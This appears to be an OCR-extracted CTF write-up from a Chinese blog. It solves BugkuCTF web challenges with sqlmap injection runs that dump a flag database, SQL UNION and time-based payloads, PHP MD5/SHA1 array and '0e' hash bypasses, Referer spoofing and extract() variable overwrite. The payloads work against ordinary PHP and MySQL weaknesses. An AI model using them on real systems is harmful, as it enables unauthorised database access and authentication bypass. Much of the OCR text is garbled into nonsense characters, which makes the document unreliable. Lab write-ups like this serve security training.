1 12000 200 O O 1327
|2 12001 200 O O 1327
3 12002 200 O O 1327
4 12003 200 O O 1327
5 12004 200 O O 1327
6 12005 200 O O 1327 |
T 12006 200 O O 1327
8 12007 200 O O 1327 :
Request | Response ]
jRaw T Headers T Hex }
HITP/1.1 200 OK &
Server: nginx 2
Date: Sat., 10 Aug 2020 02:29.32 GNT
Content-Type: text/html
Commection: close
Set—Cookie: isview=13079; expires=3at, 156-Aug-2020 05:29:32 GNT 5
Content-Length: 46 |
flag {bugku-bacpo—hah}
</body>
</html>
-
i
[| 2 < + > | | Type a search term 0 matches
|Fir1ishet:| [ o e ittt —sitimimtiitinten]
3. 3K1fFFlag:

123.206.87.240:8002/baopo/?ye X

&« C © © & 123.206.87.240:8002/baopo/?yes

flag { bugku-baopo-hah}

No.18 iiii— A ik
1. BEREE (ERENAT—FEAK HEAHFHME) .



R #ETEE [ Ife [ Treast [ m@xTE [ dwa [1 2

i
4

-2 5)

Goal: 2/1000000

2. BEWFEMH, KI T clicksZE, =B H1000000M %[EFRF 2] flag:

C @ A== | view-source:123.206.87.240:9001/test
- FHETER TiE T el mEETR dvwa i 3] 33
D w0 s
: i}tflag{

color: white;

B text—align: center;
19 dizplay: block:
20 H
21 fatyles
22 <head>
23 <meta charzet="ut{-58"
24 imeta name="viewport” contert="widthedevice—width, initial-scale=1"}
25 {zoript sro=" jquery—3. 2. l.min, i < soript
25 itlermEH—B ARG titler
27 {/headr
28 ‘hodv
29 <hl 1id="goal”¥oal: <span id"clickeoommd” >0< spansy 1000000< R
<img id="rcockie” sroc="cookie.png” >
3 <zpan 1d="flag” »{/spar>
32 < body
33 {acript»

war clicks=0

§ (function() |

i #oookie”)
monsedowr {Punction ()

38 Flthis) . width  360p=" ). hedght  360p=" ) ;
20 1
40 cmouzeup (function () |
41 $ithis) . width § 378px" ). height  375px" ) ;
clickst+t;
F("#clickeomnt” ). text (clicks) ;
44 ificlicks »= 1000000 {
45 var form = ${" <form actior="" method="post™y +
45 Tinpamt type="tewt” rame="clicks" walue="" + clicks + 7% hidden/> +
47 T fomy” )
45 0 body” ). append (form) ;
49 form submit () ;

52 1
53 fzoripty
54| html

3. HEEF12, %#HEHE, RJ5H Aclicks=1000000:



& 123.206.87.240:0001 /test,

# O J=| @mis  MTML~ | CSs BE DOM [ Cookies

& | &5 | body < html

Goal: 0/1000000

P EETFaE 55 B

# - | itEmMEt ®F DoM  HiF

body {
background—color: black:
2 Async execution error {1): no such table: moz_favicons |
%ﬂ
- m -~ Fhe - T s T N — = /s oA m . —_

r= PRI |

WIEEZE, FrEi—TMEERNMER, KRB T flag:

71 M) 75 1% R BP 228 [ 3 2 2 clicks=1000000

1. BEEHEEE:

fIag{th_COOkIBCIchkB e I

BugkuCTF - &3F&
C © © £ 123.206.87.240:8002/web16/

123.206.87.240:8002/web16/ X

C 5= CSDNfg=

d41d8cd98f00b204e9800998¢ecf8427ed41d8cd98f00b204e9800998ect8427e

SR T



41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204

e
[22%=85 ]/ [ Empty String]

2. RRREHXHKE, HOAMEEFEREH EMH XM (ZHXHF— B R bak BFE .swp) :

o (EEaEn) EelESEE T R EEhR By {EliliE QQ:343034656 - x
fgh4%: [http://123. 206. 67. 240:8002/web16/ || EERE | fiEE |
142 -20 o] (& crulg, » SEE) [ DIR: 446889 [ aspx: 42529 = #lz00

[ ASF: 297812 PHP: 52815 [ #&3l403
e (# BNONEEER) ms: son [ IsB: 19739 [ #Enlsux
FHEEE . http://123.206.57.240:8002/web16/shili jun/ EHEE: 20 FHiEiEE: 5530
1D it HTTPARIGE
1 http: /7123 206, 87. 240: 8002 /webl6/1ndex. php. bak 200
1
3 http: /123 206. 87. 240: 8002 /webl6/1ndex. php 200
4 http: /7123, 206, 87. 240:8002 /webl6/index. php7option=com_userdview=resetil ayont=confirm 200

TERTRK:



|Q 123.206.87.240:8002/web16/index.php.bak | Q m=

IEAE#TH index.php.bak %
SEE T
| ] index.php.bak

436 bak File (378 =13)
3ER:  http://123.206.87.240:3002

BB Firefox WMaIZMEE T2

O, mio)

® GHESHH(S)

wE | B

# % index.php.bak X f4:

[;T C:\Users\True\Downloads\index.php.bak - Notepad++
IHE) \IEE #ERE #EN \BEN BEL REO ITEO =M) ETR) BEHE) s0m) 2
cHEHER LA s Mmikhoe g 2% BE(STEAEEDD ®| @ b E| X

B frida hook android Cipher Stacktrace. jskd = index. php. bakEd

1 Ek?php
2 Ly
3 * Created by PhpStorm.
- * User: Norse
5 * Date: 2017/8/6
6 ¥ Time: 20:22
7 |/
g8
9 include_once "flag.php";
10 ini set("display errors", 0);
11 $str = strstr($ SERVER['REQUEST URI'], '2");
12 55tr = substr(Sstr,1);
13 $s5tr = str_replace('ksy','',5s5tr);
14 parse_str(Sstr);
15 echo md5 (Skeyl);
16
17 echo md5 (Skey2) ;
18 Hif(md5(Skeyl) == md5(Skey2) && Skeyl !== Skey2){
19 echo Sflag."Hi7Eflag";
R - |
BRGNS 2>

3\ ﬁﬁ?%ﬁ—ﬂ:’:



include once "flag.php"; //&% flag.php X1F

ini_set("display_errors", @); //HREFEEHIREE
strstr( ["REQUEST URI'], '?'); //HIBURL BB H NS, FERREL $str
substr( 1) /R 7 JEERE
str_replace('key','', )5 // ¥ $str ZEH key B#HHT

parse_str( ); // R E i Becho md5($keyl); // ¥ Reyl HFT MD5 W& 74iH

echo md5( ); // ¥ Rey2 {7 MD5 MIZEF#Hif(md5($keyl) == md5($key2) && $keyl !== $key2){
echo MEUBflag";  //41R kReyl Al key2 HIEAIEE, (HEZBH) MD5 1H5%, BLaR[E flag

BEAEKEEER get I NMSHPH key B NT (XEW U Hkekeyy S2id) , RJaXTkeyl. key2HE#ITmdSINE, I
BEATEEEL,  WRmdS5 N B E — AT R INE MEA R, s tifag.

4. i LLF payload k75 Flag:

BugkuCTF—?’:E-’-T;iSF‘S‘ 123.206.87.240:8002/web16/ X C SVE-CSDNiEE
<« C @ O £ 123.206.87.240:8002/web16fkkeyey1[]=18&kkeyey2[]=a

Bugku{OH _YOU FIND MY MOMY }a-&%—flag

No.20 f5i 5 (SQLIEN )
1. BRI

© £ 123.206.87.240:8002/chengjidan/index.php i L ¢ 2E
FREiT
1,2,3...
Submit
NI +
T TERIRR SRR
Math English Chinese
60 60 70

2. MEWR, RIFESQLIENA:



Go Cancel <|v > |
Request

Raw | Params | Headers | Hex
POST /chengjidan/index. php HITP/1.1

Target: http://123.206.87.240:8

Host: 123.206. 87.240: 8002

User-Agent: Mozilla/5.0 (Vindows NT 10.0: Win64: =64: rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/htnl, application/zhtnl+xnl, application/znl q=0. 9, inage/webp, */*;q=0. 8
Accept-Language: zh-CN, zh:q=0. 8. zh~ . =h-HE:q=0.5, en-US:q=0.3, en:q=0. 2

Content-Type: application/s—wr-forn-urlencoded
Content-Length: 16
Origin: http://123. 206.
Comnection: close
Referer: http://123.206.8
Uperade-Insecure-Requests: 1

7.240: 8002

40: 8002/ cheng j idan/ index. php

id=1" and 1=

Go Cancel | | < |[v || >|v
Request
Raw | Params | Headers | Hex
POST /chengjidan/index. php HITP/1.1

Target: http://123.206.87.240:8002 @ E

Response
Raw | Headers | Hex | HTML | Render
0 font-size: 24px
r margin: lem auto:
}
th,td {
padding: . 65em:
}
th {
background: #9E9EIE
border: lpx selid #
color: #000:
}
td {
border: Ipx solid4777:
}
form {
text-align: center.
/style>
</head>
<body>
h2 styles’text-align: center;’ i< /h2>
“forn action= index.php’ metho
<input style= width: 300px;height; 40px:font-size; 18px:" type=' text’ name='id’
placeholder="1,2,3. .7 />Chr) Chr»<br> hr><hr>
Cinput style=’width: 100ps height: 40px:’ type=’ submit’ value=’ Submit’/>
</form>
<tables
<capt ion IR AR AR/ caption>
<thead>
<trd
<th>Math
<th>English
<th:Chinese
</thead>
thody>
<trd>
<td>60<td>60<td>TO/ thody>
</table></body>
</htul>
L
Response

Raw | Headers | Hex | HTML | Render

Host: 123.206. §7. 240: 8002

User-Agent: Mozilla/5.0 (Windows NI 10.0: ¥inG4: x64: rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/htnl, application/shtnl+zml, application/znl:q=0.9, image/webp, */* =
Accept-Language: h-CH, zhig=0. 8 ah-TV:g=0. 7, zh-HEK: q=0. 5, en-US: q=0. 3, enig=0. 2
c ype: applicatis lencoded

Content-Length: 16
Origin: http://123.206.
Comnection: close
Referer http://123. 206.87. 240: 8002/ cheng i dan/ index. pho
Upgrade-Tnsecure-Requests: 1

240: 8002

and 1=0-—+

3. SQLMap#EAT Ml :

font-size: 24px:
margin: lem auto:

i
th,td {
padding: . G5em;
th {
background: H9E9EIE:
border: 1px solid #
color: H000:
i
td {
border: lpx s0lid#777:
+
form {
text-align: center;
i
Sstyles
</head>
body?

<h2 style=’text-align: center:’ i Hi</h2>
“forn action=" index. php’ method="post’ >
<input_style="width 300px height: 40px:font-size: 18px:" typ
placeholder="1,2, %... /> b Cbr> Cbr) by ><bx -

Cinput s piheight: 40px;’ type=' submit’ value=' Submit' />
</form>

“text’ name=1d

<table>
<caption MMM </ caption>
<thead>
<trd
<th)Math
<th’Bnglish
<th’Chinese
fthead>
<thody>
<tro
Ctd><rdyCed></thody>
</rabley<fhody>
</htul>



& cmder

[ INFO]
it looks like the
for the remaining
lues? [Y/n]
11 ]
11 ]

(comment)
acked quer (comment) *
. PIPE.RECEIVE_MESSAGE - comment)®
"MySQL >= 5.0.12 AND time-b blind*
id lySQL >= 5.0.12 AND time-based blind
back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) va

testing

testing 'Generic UNION guery (MULL) - 1 to 20 columns'’

automatically extending ranges for UNION query injection technique tes is at least on

e other (potential) technique found

I ]
1 [INFO]

target URL appears to be UNION injectable with 4 columns
id eric UNION query (NULL) - 1 to 20 columns

POST parameter 'id' is wvulnerable. Do you want to keep testing the others (if any)? [v/N]

sglmap identified

the following injection point( with a total of 87 HTTP(s) requests:

: UNION que
Generic U

[

IE cmd.exe

6d64627a 7a436cb155714

87.248"

Search

PAT sqlmap.py -r 111.txt --dbs E&EBIEELK:



|I| Cmder

[*] starting @ 11:16:15 /2020-88-15/

1L ] parsing HTTP request from "111.txt'
1L ] resuming back-end DBMS ‘mysgl®
1L ] testing connection to the target URL
sglmap resumed the following injection point(s) from stored session:
Parameter: id (POST)
Type: AND/OR time-based blind
Title: MySQL »= 5.8.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'AQQG'='AQQG

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=-2497' UNION ALL SELECT NULL,CONCAT(@x7178707871,0x585859646a706346736d6d64627a4862687a436c6155714
158574d516e7551716179777265496351,0x717a786b71) ,NULL ,NULL-- gaEC
[ 1 [INFO]
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[ 1L ] fetching database names
[ 1L ] used SQL query returns 2 entries
[ 1L ] retrieved: "information_schema®
[ 1L ] retrieved: ‘skctf flag'
available databases [21:
[*] information_schema
[*] skctf _flag

[ 1L ] fetched data logged to text files under 'C:\Users\True\.sglmap\output\123.206.87.248"

[*] ending @ 11:16:16 /2020-88-15/

D:\Security\WebTools\SQLMap
A | https://blog.csdn.net/weixin_39190897

AT sqlmap.py -r 111.txt -D skctf flag --tables BEFEHIEE skctf flag FIZR:

back-end DBMS: MySQL »= 5.0.12
] fetching tables for database: 'skctf flag®
] used SQL query returns 2 entries
[ ] retrieved: 'fl4g’
L ] retrieved: 'sc’
Database: skctf flag
[2 tables]

110 ] fetched data logged to text files under 'C:\Users\True\.sglmap\output\123.206.87.248"

[*] ending @ 11:18:15 /2020-08-15/ https:/blog.csdn.net/weixin_39190897

4 sqlmap.py -r 111.txt -D skctf flag -T fl4g --columns E& fldg RHIFE:




Database:
Table: fl4dg
[1 column]

time delay to 1 second due to good response times

drd8hz4}

Table: fl4ag
[1 entry]

-+
'skctf_flag.fldg' dumped to CSV file 'C ers\True\.sqglmap\output\123.206.87.240\dump

\True\.sglmap\output\123.206.87.248"

No.21 % 5 % b5 % B ff i
1. BB

BugkuCTF - &> 123.206.87.240:8006/test/hello. X [ENuFFAPERE R FRLIRF S

-2 C ©® © #&Z 123.206.87.240:8006/test/hello.php?id=1

never never never give up !!!

e O== O OEsts Nrs (Oeegss O O B e 7 £ES

head head
<body»never never never give up !!!</body>»
</html>

2. Vil http://123.206.87.240:8006/test/1p.html , KRILH I H5hBkEE 2] http:/www.bugku.com/, NiZZEH
window.location.href Z R EEM, WMMEEEE 1p.html YRS, EEEEFITHE N view-source:



&« C @ #& view-source:http://123.206.87.240:8006/test/1p.html

<HTML>
<HEAD>

<SCRIPT LANGUAGE="Javascript">
<=

[ var Words ="%3Cscript%3Ewindow.location.href$3D%27http%3A//www.bugku.com$27%3B%3C/script$3E$2080A%3C%21——JTIyJTNCaWY1Mjg1MjEIM]REROVUJTVCITI 3aWQ1M] cINUQIM] kIMEEINOTIMEEIMD] 0ZWFkZXT 1M gled.Mb}
TUNCTIon CUtWoTa ()
{
var NewWords;
NewWords = unescape (Words);
document .write (NewWords) ;
b
outWord () ;
rro-=>
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

3. BRI RIE %3¢ REWordsZBEMN %2 url ild, fRIL)ERIIERZ 2 EHEAT T base644mil:

RS BPWIAR  ERSEBASES4  JREEEIR  URLEERS  ASCISER  UTF-SHES hipasswddAiE  MEURLIMEE  MDSIIE Unicode

<seript>window.location href%3D http%3A/www. bugku.com'%3B</script> %3Cscript%3Ewindow.location href%3D %27 hitp% 3A/WWW.bUgKU,com%27 %38
<l %3C/script%3E%20%0A%3C

JTYJTNGCaWYIMgIMEIMRIROVUJTVC I TI3aWQIMcINUQIM/KIMEEINOIIMEEIMDIoZ %21--JTlyJ TNCaWYIMgIMEIM]RIROVUJTVCJTI3aWQIMicINUQIMKIMEEINOIIMEE
WFKZXIIM]gIMjdMb2NhdGlvbiUzQSUyMGhIbGxvLnBocCUZRMIKJTNEMSUyNyUyOS encodeUR MDIoZWFKZXIIMigIMjdMb2Nhd GIvbiuzQSUyMGhIbGxvLnBocCUZRMIKITNEMSUYN

UzQiUwQSUWOWV4aXQIMjgIMjkIMOIIMEEINOQIMEEIMRpZCUzRCUyNFIHRVQIN
UlIMjdpZCUyNyU1RCUzQiUWQSUyNGEIMOQIMRIROVUJTVCJITI3YSUyNyU1RCUZ

YUyOSUzQiUwQSUWOWV4aX QIMjgIMjkIMOIMEEINOQIMEEIMjRpZCUZRCUYNFH

encodeURIComponent RVQINUIIMjdpZCUyNyU1RCUzQiUwQSUyNGEIMOQIM|jRIROVUJTVCJTI3YSUyNyU

QIUWQSUYNGIIMOQIMJRIROVUJTVGJTI3YiUyNyU1RCUZQIUWQWIMJTI4c3RyaXBY
cyUyOCUyNGEIMKMIMjcuJTI3JTISJTISJTBBJTACITEBITASZWNoby UyMCUyN25vJ
Tiwbm8IMjBubyUyMG5vJTiwbmeIMBubyUyMGSvJTIZJTNCITBBJTAScmVOdXJuJTI
WJTNCJTBBJTAEJTBBJTIOZGFOYSUyMCUZRCUyMEBmaWxIX2dIdF9jb250ZW50cy
UyOCUyNGEIMKMIMjdyJTI3JTISJTNCJTBBaWYIMjgIMiRKYXRhJTNEJTNEJTIyYnvn
a3UIMBpcyUyMGEIMjBUaWNIJ TIWeGXhdGYmb3Jt TIxJ TIyJ TIWY WSk TIwJ TIOaWQI
MOQIMOQWJTIWYWSKJTIwc3RybGVuJTI4JTIOYiUyOSUZRTUIMBhbmQIMjBlcmVna

SUyOCUyMIEXMSUYMi5zdW.zdHIMjgIMRIJTJDMCUy QZEIMKIMKMIMIXMTEOJTIyJ
TISJTIWYW5kJTIWG3Vic3RyJTI4JTIOYIUyQzAIMKMXJTISJ TIXJTNENCUyOSUWQSU3
QIUWQSUWOXJIcXVpemUIMjgIMJmNGwy Y TNnLnR4dCUyMiUyOSUzQIUWQSU3RG
UWQWVsc2UIMEEINOIMEEIMDIwemiud CUyMCUyMmSIdmVyJ TiwbmV2ZXIIMBUZX
ZIciUyMGdpdmUIMiB1cCUyMCUyMSUyMSUyMSUyMiUzQIUwQSUSRCUWQSUWQS

1RCUZQIUWQSUYNGIMOQIMRIROVUJTVCJTI3YIUyNyU1RCUZQIUWQWIMJTI4C3R
yaXBvcyUyOCUyNGEIMKMIMIcuJTI3JTIS IS TBBJTACITBBJTASZWNobyUyMCUy
N25vJTiwbmBIMjBuby UyMGSvJ TiwbmaIMjBubyUyMGSVJTI3JTNCITBBJTAScmVOd

XJUJITIWITNCJTBBITAEJ TBBJTIOZGFOYSUyMCUZRCUYMEBMaWXIX2dIdFS]b250Z
W506yUyOCUyNGEIMKMIMidyJ TI3JTIS TNCI TBBaWYIMjgIMiRKYXRhJTNEJTNEST
Iy¥nVna3UIMjBpeyUyMGEIMJBUaWNILI TIWCGXhAGVMb3JtI TIXJ Tl TIWYWSKITIwJ T
0aWQIMOQIMOQWJTIWYWSKJTIwe3RybGVUITI4JTIOYIUyOSUZRTUIMBRbMQIM{BIC
mVnaSUyOCUyMIEXMSUyMiszdWJzdHIIMjgIMRITJDMCUyQzEIMKIMKMIM]IXMTE

0JTIyJ TISJTIWYWSKJTIWC3Vic3RyJ TI4JTIOYiUyQzAIMKMXJTISJ TIXJ TNENCUYOSUw
QSU3QIUWQSUWOXJICXVpemUIMigIMJmNGwyY TNnLnR4dCUyMIUyOSUZQIUWQS
U3RCUWQWVsc2UIMEEINOIME EIMDIWEmIudCUYMC UyMmaIdmyy  TiwbmV2ZXIIM|
BuZXZIcilUyMGdpdmUIMB 1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSUSRCUWQS

UwQSUzRIiUzRQ%3D%3D--> UwQSUwQSUzRiIUzRQ%3D%3D-%3E

4. #%basebdffiL)E, B —Eurlmid.

22%3Bif7%28%21%24_GET%5B%271d%277%5D%29%0A%7B%0A%0%header%28%27Location%3A%20hello. php%3Fid%3D1%277%29%3B%0A%0
9exit%28%29%3B%0OA%7D%0OA%241d%3D%24_GET%5B%271d%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b
27%5D%3B%OA11%28stripos%28%24a%2C%27 .%27%29%29%0A%7B%OA%09e ch0%20%27n0%20Nn0%20Nn0%20Nn0%20Nn0%20Nn0%20Nn0%27%3B%0OA%0,
Oreturn’%20%3B%0A%7D%0A%24data%20%3D%20@file_get contents%28%24a%2C%27r%27%29%3B%0A11%28%24data’%3D%3D%22bugku’%20i

s%20a%20nice%20plateform’%21%22%20and%20%241id%3D%3D0%20and%20strlen’%28%24b%29%3E5%20and%20eregi’%28%22111%22 . subst
r%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr’%28%24b%2C0%2C1%29%217%3D4%297%0A%7B%0A%09require%28%22f412a3g. t
x1%22%29%3B%0OA%7D%0Ae1se%0A%7B%OA%O9print%20%22neveri20nevers20nevers20give’20up%20%21%217%21%227%3B%0A%7D%0A%0A%0

5. kBRI, KT



script>window. location.href="http://www.bugku.com';</script
"Sif(! [*id'])

{
header('Location: hello.php?id=1");
exit();

echo 'no no no no no no no';
return ;
¥
= @file_get_contents(%a, 'r");
if( =="bugku is a nice plateform!" and ==0 and strlen($b)>5 eregi("111".substr($b,0,1),"1114") and su
bstr($b,0,1)!=4)
{
require("f41l2a3g.txt");
¥
else
{
print "never never never give up

}

6. Vil f4l2a3g.txt, 375 flag:

BugkuCTF - &35S 123.206.87.240:8006/test/f4l2a X

& Q @ © & 123.206.87.240:8006/test/f412a3g.txt

flag{tHis is TH= fLaG}

No.22 iF | &&=

1 Vi i R

BugkuCTF - &35 123.206.87.240:8002/web10/ X C 53=-CSDNig= bugku=#F?

C ©®@ © £ 123.206.87.240:8002/web10/

<?php
highlight file('Z.php');
Skey=r:{E‘__’{**wk**w‘k**wk**w\k**w***wk**w‘k**wk} ‘F
$IM= preg match("/key.*key. {4, Titkey:\/ . \/(.*key) [a-z] [[tpunct:]]1/1", trim(5 GET["id"]), Smatch);
if( SIM ) {
die('key is: '.Skey):;

2>

ARSI



highlight file('2.php');

KEY{ 1

preg match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/1i", trim( ["id"]),

if( DA

die('key is: '. );

ARG 53 b -

¢ highlight_file (filename, return) : X XA#ITEERRER;

e preg_mach (string a, atring b, array matches) : FATILACIEMRIER (aRIEMFRIER, bR2MAKFERFE, matchesZH#
HANERER)

trim() B 2088 B 7445 8 P 39 2 B 5 B AR U 74 s

dieE#: i —&WHE, HBHHETHA.,

RYEIENZRIER /key. *key.{4,7} key:/./(.key)[a-z][[:punct:]]/i
&S

IEMR K X

RAF LA R\ SR AL B 45

4, 7} RFERDICHIAR, BRZILHTIR

/ RFLE Y EBR\RENFS)
(-key) A 22 UL ICAE 2 B - 4 ey
[a-2] RELEAEE DG F 7
[[:punct:]] RELEREER— M AFS

2. Hi&ES % id=keykeykeykeykey:/ /keya@i , 3%f% Flag:

BugkuCTF - &33F& 123.206.87.240:8002/web10/7id X el a—RepN=r= X bugku=7F
< C ® O & 123.206.87.240:8002/web10f?id=keykeykeykeykey:/ /keya@i
<?php

highlight file({'Z.php'):
Skey=r3EE{**w***w***wk**w***w***w\k**w\k**w*} 1{-
$IM= preg match ("/key.*key.{4,T}tkey:\/.\/{.*key) [a-z] [[:punct:]]/1", trim($% GET["id"]), Smatch);
if{ SIM ){
die("key is: '.Skevy);
I
23| key is: KEY {0x0SIOPh550afc} |

fi# #r

key . key . {4,7} key:\ 3 key) [a-2]
[[:punct:]]

‘key’ HERBEANFH+ENREZA+ Kkey’ HERBNFH+KEAL-7+ Kkey: /[’ +ERE ; (EREANFR+ZENEL A+ key” ) +3E0A
S B IGRE | HER& " (), - /5 <=3 20\ ]| P R

No.23 Refererig >k 3kt i



1. BEBH .

BugkuCTF - #& i 123.206.87.240:9009/from.php X [ aEESha=g el =

C @ © & 123.206.87.240:9009/from.php

are you from google?

2. #ME, 70 referer iRk, DhiERIE, KT flag:

lTJ Cancel l?J > |

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /from.php HITP/1.1 HITP/1.1 200 CK

Host: 123.206.87.240:9009 Server: nginz

User-Agent: Mozilla/G.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecke/20100101 Firefox/79.0 Date: Sat. 15 Aug 2020 08:46:03 GMT
Accept: text/htnl, application/zhtml+zml, application/=znl:q=0.9, inage/webp, #/*  q=0. 8 Content—Type: text/html
Accept-Language: zh-CM, zh:q=0. 8, zh~TW: g=0. 7, zh=HK : q=0. 5, en-US : g=0. 3, en: g=0. 2 Commection: close

Comnection: close Content-Length: 21

Cookie: PHPSESSID=ebdndgtludTojchbkssdThncgetfimlun
Referer: https://www. google. com
Upgrade-Insecure-Requests: 1

T

l flag {bug—ku_ai_admin} I

No.24 PHP [¥) MD5#hY $

1. BEMBEE:



Challenge = 4943 Solves X

Mmd5 collision(NUPT_CTF)
100

http:/123.206.87.240:9009/md5.php

Flag Submit

vaixin_39190859

BugkuCTF - &> 123.206.87.240:9009/md5.php X [ SESIa—gaNpl)|::E X

C @ © & 123.206.87.240:9009/md5.php

please input a

 O=8sF Oeie ODEtE NRE (emEs Ot wre B & w B

<html>
head head
<body»please input a</body>»
</html>

2. BEARF b b R AR 55 2D .

md5 ( 'QNKCDZ0");
@ [*a"];
@md5(%a);
if(isset(%$a)){
if ( 'QNKCDZO' ) {

echo "nCtf{*xxxssskkrx )

t else {
echo "false!!l!l";

"please input a";}

8 B T -

PHPFEALER IG5 A AP ER I, SFIF 1= B0 7==" RXIIGH EBAT R, BEE—AU 7eE” FF LM FEABEEA0, FUMERANFRE
MEBZSRFHUE, EXEHEBRAU “0E” kK, WAPHPHE I\ AMMMARE, #HELO0., KdEm UAHRX—RH, EdmA—1
SRR E OB T kI FAF 8, RIS PHPAERE N0, WUREHE B h AR X IR 75 B LV OB T Sk B A i1, st ol A BN P B B 4
Bxits, REHFEERIENED.



3. FrABE &S Amd5{E R0eFF 3k 1 1 JE A BI R 3845 flag{md5_collision_is_easy}:

BugkuCTF - &3 123.206.87.240:9009/md5.php X N «BShva—cl@ND]\l}:E-4

i 206.87. 9 md5.phpp=s8/8
<« C © O & 123.206.87.240:9009/md5.php? 878

flag{md5 collision is easy}

Bt b —E0eFF Sk FImd 50 R AE -

5878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
5214587387a
0e848240448830537924465865611904
5214587387a

0e848240448830537924465865611904
5878926199a
©e545993274517709034328855841020
51091221200a
0e940624217856561557816327384675
51885207154a
0e509367213418206700842008763514

No.25 Sha1rs 7 ik ik fa

1. BE S HE %



BugkuCTF - &35 bl 123.206.87.240:8002/web7/ X

C © O & 123.206.87.240:8002/web7/

<?php
highlight file({'flag.php'):;
5 GET['id'] = urldecode($ GET['id']);

Sflag = '"flag{==¥XXXXXEXLEXXHEHH} " ;
if (isset($ GET['uname']) and isset($ POST['passwd'l)) {
if (5§ GET['uname'] == 5 POST['passwd'])

print 'passwd can not be uname.';

else if|(shal (% GET['uname']) === shal($ POST['passwd'])&($ GET['id']l=="margin'))

die('Flag: '.5flag);
else

print '"scrry!';

2. PHPRIEB&E KM, REALF uname K shal {E 5 passwd KishalKEHZE (HEFRRMAITHEAKENXAAGEHESE) ke
Flag, AT CAF) F shat R B0 A BRSO MR EEBP AT (4 xdshat () Buig NS &R Elnull, Bk R FEEEAFNAFR
BUHBA] R hgead) -



BugkuCTF - £H3F& Yl 123.206.87.240:8002/web7/ )l C S375=-CSDNigz= X bugkuEFigad SEIEER

<« C ® O & 123.206.87.240:8002/web7/?uname[]=1&id=margin

<?php
highlight file('flag.php'):
§ GET['id"] = urldecode(5 GET['id']l):

5flag = '"flag{XXXXXXHUXXXKXXXEXXXX}";
if (isset($_GET['uname']) and isset ($_POST['passwd'l)) {
if ($_GET['uname'] == $ POST['passwd'])

print 'passwd can not be uname.';
else if (shal($ _GET['uname']) === shal (5 POST['passwd'])& (5 GET['id']=='margin'))
die('Flag: '.5flag);
else

print 'sorrv!';

}
?>IFlag: flag{HACK_45hhs 213sDD} ]

O O=ss Deas Dt NRs (Oesesses Qe One Bew 7w Seathe 8 umEss @ HackBar

ooo

Encryption + Encoding~ SQL~ XSS~ Other~

& Load URL htlp:m23.206.87.240:8002fweb7[?uname|]=1&id=margin ]

Io'{: Split URL

» | Execute

Postdata [] Referer [] User Agent [] Cookies Clear All

passwd[]=2

No.26 PHP{URS & it
1. BRI



web8
110

txt? ? 2 2

http://123.206.87.240:8002/web8/

Flag

BugkuCTF - &3S 123.206.87.240:8002/web8/ X C 53 =-CSDNfEE

C ® O & 123.206.87.240:8002/web8/

<?php
extract (5_GET);
if (lempty(Sac))

$5f = trim(file get contents(5fn));

1f (Sac === 5f)
echo "<p>This is flag:" ." S5flag</p>":
h

else

echo "<prsorry!</p>":
¥

}
2=

2. e B ERR 0?27 Ui flag.tdt, KIH A HE flags:

BugkuCTF - &4¥5 123.206.87.240:8002/web8/ X
<« C @ © & 123.206.87.240:8002/web8/flag.txt
flags

3. $ac Zfeflag ttF N flags, $fn FEHIR flag.txt XA, #ATH#EF H Payload: ?ac=flags&fn=flag.txt, @ TE:



&«

<?php

extract ($_GET);

if (lempty(5ac))

5f = trim(file get contents(5fn));
if (%ac === 5f)

echo "«<p>This is flag:"
}

else

echo "<prsorry!</p>";
}

" Sflag</pe";

"o

>

This is flag] flag {3cfb7a90fc0de31}

FI =TIk, B8 3flag, EXF FE =A%

B ikacEARNT
o fHIME ST in A FREX
o ac{EEESETMIME
# i i&Payload:

ac=123&fn=php:

[POST]123

123.206.87.240:8002/web8/ X

© © £ 123.206.87.240:8002/webd

?ac=flags&fn=flag.txt

C S5¥=-CSDNiE=

W BT

Go Cancel

Request

Response

Raw | Headers | Hex

Target: hitp://123.206.87.240:8002 | | |

1-tgent: Wozilla/5.0 (Windows NT 10.0: Win64: x64: rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html, application/shtnl+xnl, application/znl q=0. 9, inage/webp, #/+:q=0. 5
Accept-Language: zh-CH, zh:q=0. 8, zh-TW: q=0. T, zh-HK : g=0. 5. en-US : q=0. 3. en:q=0. 2

Comnection: clos
Coolsie: PHPSESSID-chdnsat lubfojcbkasd Thncgctbvnlun
Uperade-Insecure—Requests: 1

Content-Length: 3

“ﬁ‘ﬁxs—h_h-_*'"""--»

No.27 robots.txt{s Bt &

A %

HITP/1.1 200 0K

Server: ngimx

Date: Sat. 15 Aug 2020 12:57:43 GHT
Content-Type: text/htul
Comnection: close

Content-Length: 1402

>
?php<br / extract</span>(span
5) by /oifen]

<code>{span style="color
<

pan><span
“&1tIphgt sorry!&lt:/pegt:
EB”>7legt: <br /></span>

<
[/code><p>This is flag: flag {3cfhTad0fc0de31}</p>




R
130

Mk hitp://123.206.87.240:8002/web13/
B FEEREadmin

BugkuCTF - &3F& 404 Not Found bl € S5-CSDNiEE

C ® O & 123.206.87.240:8002/web13/

Something error:

404 Not Found

No such file or directory.

Please check or try again later.

Generated by kangle/3.5.5.

2. MSIERMEEE, KIL robots.bt SCHF:



@ BE3T) HulEstR T E EEhl Byl QQ:343034656 - X

JCESE |123. 206. 87. 240 8002 /webl13/ ‘ IR EE E1H3E

Gi8:[20 (R CPUBL * 5E) [ IIR: 446689 A hspx: 42529 T
[7] ASP: 297812 [ pHe: 52815 [] &#m403

180+ (3 B mEER) [ MmB: 9071 [ 18P: 19739 ] &Emfaxx
